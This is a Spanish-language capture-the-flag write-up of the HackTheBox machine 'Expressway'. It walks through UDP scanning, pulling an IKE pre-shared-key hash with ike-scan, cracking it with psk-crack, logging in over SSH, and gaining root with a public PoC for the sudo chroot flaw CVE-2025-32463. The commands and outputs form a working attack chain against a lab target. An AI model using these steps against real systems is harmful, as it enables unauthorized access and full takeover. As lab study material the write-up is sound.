Expressway – HackTheBox Link to heading

  • OS: Linux
  • Difficulty / Dificultad: Easy / Fácil
  • Platform / Plataforma: HackTheBox

Avatar expressway


Resumen Link to heading

“Expressway” es una máquina de dificultad Fácil de la plataforma HackTheBox. La máquina víctima se encuentre un servicio Internet Key Exchange (IKE) el cual se encuentra mal configurado y permite extraer un hash para éste; el cual puede ser crackeado y usado para ingresar a la máquina víctima mediante servicio SSH. Una vez dentro, vemos que el servidor tiene una versión de sudo vulnerable a CVE-2025-32463; la cual permite escalar fácilmente escalar privilegios.


User / Usuario Link to heading

Empezamos con un rápido escaneo con Nmap buscando por puertos TCP abiertos:

❯ sudo nmap -sS -p- --open --min-rate=5000 -n -Pn -vvv 10.129.190.74

Sólo encontramos un puerto abierto: 22 SSH. Aplicando algunos scripts de reconocimiento sobre este puerto con la flag -sVC muestra:

❯ sudo nmap -sVC -p22 10.129.190.74

Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-20 17:50 -03
Nmap scan report for 10.129.190.74
Host is up (0.29s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 10.0p2 Debian 8 (protocol 2.0)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.77 seconds

Podemos entonces analizar los puertos UDP abiertos con Nmap, obteniendo:

❯ sudo nmap -sU --top-ports 100 --open 10.129.190.74

Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-20 17:53 -03
Nmap scan report for 10.129.190.74
Host is up (0.28s latency).
Not shown: 95 closed udp ports (port-unreach)
PORT      STATE         SERVICE
68/udp    open|filtered dhcpc
69/udp    open|filtered tftp
500/udp   open          isakmp
4500/udp  open|filtered nat-t-ike
32771/udp open|filtered sometimes-rpc6

Nmap done: 1 IP address (1 host up) scanned in 111.99 seconds

Hay un servicio Internet Key Exchange (IKE) corriendo por el puerto 500.

Información
IKE, or Internet Key Exchange, is a protocol used to automatically set up secure communication channels, particularly for IPsec VPNs. It functions as the initial “handshake” between two devices, authenticating them, agreeing on security parameters like encryption methods and keys, and establishing a secure tunnel for subsequent data transfer. Essentially, IKE manages the process of exchanging cryptographic keys and setting up the necessary security associations (SAs) to ensure the data exchanged is confidential, integral, and authentic.
En corto, IKE es un servicio utilizado para VPNs.

Aplicando un breve reconocimiento a este nuevo puerto con Nmap retorna:

❯ sudo nmap -sUVC -p500 10.129.190.74

Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-20 17:57 -03
Nmap scan report for 10.129.190.74
Host is up (0.27s latency).

PORT    STATE SERVICE VERSION
500/udp open  isakmp?
| ike-version:
|   attributes:
|     XAUTH
|_    Dead Peer Detection v1.0

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 133.26 seconds

De donde no obtenemos mucha información.

No obstante, este blog da buenos detalles acerca de Pentesting a IKE. Allí, se menciona una herramienta llamada ike-scan la cual puede ser obtenida desde su repositorio de Github. Para distribuciones basadas en Debian (como Kali o Parrot OS), también podemos intentar instalar esta herramienta con apt install:

sudo apt update -y && sudo apt install ike-scan -y

Para utilizar correctamente ike-scan, encontramos este otro blog el cual también explica cómo extraer información de IKE. Allí, se sugiere ejecutar el comando:

ike-scan -M -A <target-ip>

Donde -M especifica el “main mode scanning” (modo de escaneo principal) y -A especifica “aggressive mode” (modo agresivo).

Como el blog espeficia, si el “aggressive mode” está habilitado, la VPN poede filtrar el nombre del grupo junto con sus credenciales y puede ser vulnerable a intentar crackear la credencial por fuerza bruta.

Ejecutando el comando sugerido obtenemos:

❯ ike-scan -M -A 10.129.190.74

Starting ike-scan 1.9.6 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
10.129.190.74   Aggressive Mode Handshake returned
        HDR=(CKY-R=44f674a34584fdd0)
        SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
        KeyExchange(128 bytes)
        Nonce(32 bytes)
        ID(Type=ID_USER_FQDN, Value=ike@expressway.htb)
        VID=09002689dfd6b712 (XAUTH)
        VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0)
        Hash(20 bytes)

Ending ike-scan 1.9.6: 1 hosts scanned in 0.306 seconds (3.27 hosts/sec).  1 returned handshake; 0 returned notify

Podemos ver la respuesta Aggressive Mode Handshake returned. También podemos ver el campo ID definido como ike@expressway.htb. Por tanto, ike puede ser un potencial usuario.

Continuando con el blog, también se sugiere un comando para extraer hashes:

❯ ike-scan -A --pskcrack 10.129.190.74

Starting ike-scan 1.9.6 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
10.129.190.74   Aggressive Mode Handshake returned HDR=(CKY-R=3925813ea86f1ba7) SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800) KeyExchange(128 bytes) Nonce(32 bytes) ID(Type=ID_USER_FQDN, Value=ike@expressway.htb) VID=09002689dfd6b712 (XAUTH) VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0) Hash(20 bytes)

IKE PSK parameters (g_xr:g_xi:cky_r:cky_i:sai_b:idir_b:ni_b:nr_b:hash_r):
d7dea145886a64157bcea81201db6e357124f0cc43007f24cede8b93d04bbe9835eeff29531ab65e7923e8ba006638bbaad01f06f5246e1c4f32ceff6d1425c15bc1f84eccda2249b45576c52103fb156ae090f69ba6d19e72674c22d6f2f31ba1b9473a80e33068195de44db9d2e8325b29576108cd7a59fe4e89397a9c58b3:84825ec0748782e3c898e9f69bf8b233b3a433dd03f8906b40a7c8d36a74ea6f97cecc9c9f30626ff25126ec5755b107bc71dabc35a0330bdf58d1ffc4b57cadcea73f61161165208ec22e365994af151bc00a45c48edf85c59a802d5cfb47a11f56f0948d1994ec28a113d61b6809dfe2d3656406a3b30406083972c0948eca:3925813ea86f1ba7:7d39e52c6b3e64b4:00000001000000010000009801010004030000240101000080010005800200028003000180040002800b0001000c000400007080030000240201000080010005800200018003000180040002800b0001000c000400007080030000240301000080010001800200028003000180040002800b0001000c000400007080000000240401000080010001800200018003000180040002800b0001000c000400007080:03000000696b6540657870726573737761792e687462:73866765000a5f6dc0f149f55d50617608e7eed2:bb4deb493422896dbac2bf7847e0455237709bd03ce0af9930336562f79cbd5c:2f7c31efdf9c20e0b7840f6bed1fa28cde9caf02
Ending ike-scan 1.9.6: 1 hosts scanned in 0.279 seconds (3.58 hosts/sec).  1 returned handshake; 0 returned notify

Obtenemos un gran texto el cual parece ser un hash.

Guardamos este hash en un archivo:

❯ echo d7dea145886a64157bcea81201db6e357124f0cc43007f24cede8b93d04bbe9835eeff29531ab65e7923e8ba006638bbaad01f06f5246e1c4f32ceff6d1425c15bc1f84eccda2249b45576c52103fb156ae090f69ba6d19e72674c22d6f2f31ba1b9473a80e33068195de44db9d2e8325b29576108cd7a59fe4e89397a9c58b3:84825ec0748782e3c898e9f69bf8b233b3a433dd03f8906b40a7c8d36a74ea6f97cecc9c9f30626ff25126ec5755b107bc71dabc35a0330bdf58d1ffc4b57cadcea73f61161165208ec22e365994af151bc00a45c48edf85c59a802d5cfb47a11f56f0948d1994ec28a113d61b6809dfe2d3656406a3b30406083972c0948eca:3925813ea86f1ba7:7d39e52c6b3e64b4:00000001000000010000009801010004030000240101000080010005800200028003000180040002800b0001000c000400007080030000240201000080010005800200018003000180040002800b0001000c000400007080030000240301000080010001800200028003000180040002800b0001000c000400007080000000240401000080010001800200018003000180040002800b0001000c000400007080:03000000696b6540657870726573737761792e687462:73866765000a5f6dc0f149f55d50617608e7eed2:bb4deb493422896dbac2bf7847e0455237709bd03ce0af9930336562f79cbd5c:2f7c31efdf9c20e0b7840f6bed1fa28cde9caf02 > ike_hash

Y, como sugiere el blog, utilizamos la herramienta psk-crack para intentar crackear este hash, utilizando el diccionario de contraseñas rockyou.txt:

❯ psk-crack -d /usr/share/wordlists/rockyou.txt ike_hash

Starting psk-crack [ike-scan 1.9.6] (http://www.nta-monitor.com/tools/ike-scan/)
Running in dictionary cracking mode
key "freakingrockstarontheroad" matches SHA1 hash 2f7c31efdf9c20e0b7840f6bed1fa28cde9caf02
Ending psk-crack: 8045040 iterations in 12.596 seconds (638715.04 iterations/sec)

Obtenemos el valor para una llave freakingrockstarontheroad.

Finalmente, revisamos si esta contraseña/llave funciona para el usuario previamente hallado ike para el servicio SSH con la herramienta NetExec:

❯ nxc ssh 10.129.190.74 -u ike -p 'freakingrockstarontheroad'

SSH         10.129.190.74   22     10.129.190.74    [*] SSH-2.0-OpenSSH_10.0p2 Debian-8
SSH         10.129.190.74   22     10.129.190.74    [+] ike:freakingrockstarontheroad  Linux - Shell access!

Funcionó. Tenemos credenciales válidas.

Nos conectamos al servicio SSH scon las credenciales halladas:

❯ sshpass -p 'freakingrockstarontheroad' ssh -o stricthostkeychecking=no ike@10.129.190.74

<SNIP>
Last login: Sat Sep 20 22:28:27 2025 from 10.10.16.80
ike@expressway:~$

Podemos extraer la flag de usuario.


Root Link to heading

Si revisamos la versión de sudo obtenemos:

ike@expressway:~$ sudo -V

Sudo version 1.9.17
Sudoers policy plugin version 1.9.17
Sudoers file grammar version 50
Sudoers I/O plugin version 1.9.17
Sudoers audit plugin version 1.9.17

Algún tiempo atrás, salió un advisory indicando que una versión de sudo era vulnerable a permitir una escalada de privilegios. Las versiones previas a 1.9.17p1 permitían la explotación de esta vulnerabilidad catalogada como CVE-2025-32463. Buscando por pruebas de concepto (PoCs) para esta vulnerabilidad encontramos este repositorio de Github. El mismo repositorio da un comando para revisar si la versión de sudo es vulnerable:

ike@expressway:~$ sudo -R woot woot

sudo: woot: No such file or directory

Dado que obtenemos el mensaje sudo: woot: No such file or directory, puede que la máquina sea vulnerable.

Clonamos el repositorio en nuestra máquina de atacantes y transferimos el archivo .sh que se encuentre en éste a la máquina víctima utilizando scp (dado que tenemos acceso por SSH):

❯ git clone https://github.com/pr0v3rbs/CVE-2025-32463_chwoot.git -q

❯ cd CVE-2025-32463_chwoot

❯ sshpass -p 'freakingrockstarontheroad' scp ./sudo-chwoot.sh ike@10.129.190.74:/tmp/sudo-chwoot.sh

Luego, en la máquian víctima, asignamos permisos de ejecución al script transferido y lo ejecutamos:

ike@expressway:~$ chmod +x /tmp/sudo-chwoot.sh

ike@expressway:~$ /tmp/sudo-chwoot.sh
woot!

root@expressway:/# whoami
root

GG. Escalamos privilegios; somos root. Podemos extraer la flag del usuario root en el directorio /root.

~Happy Hacking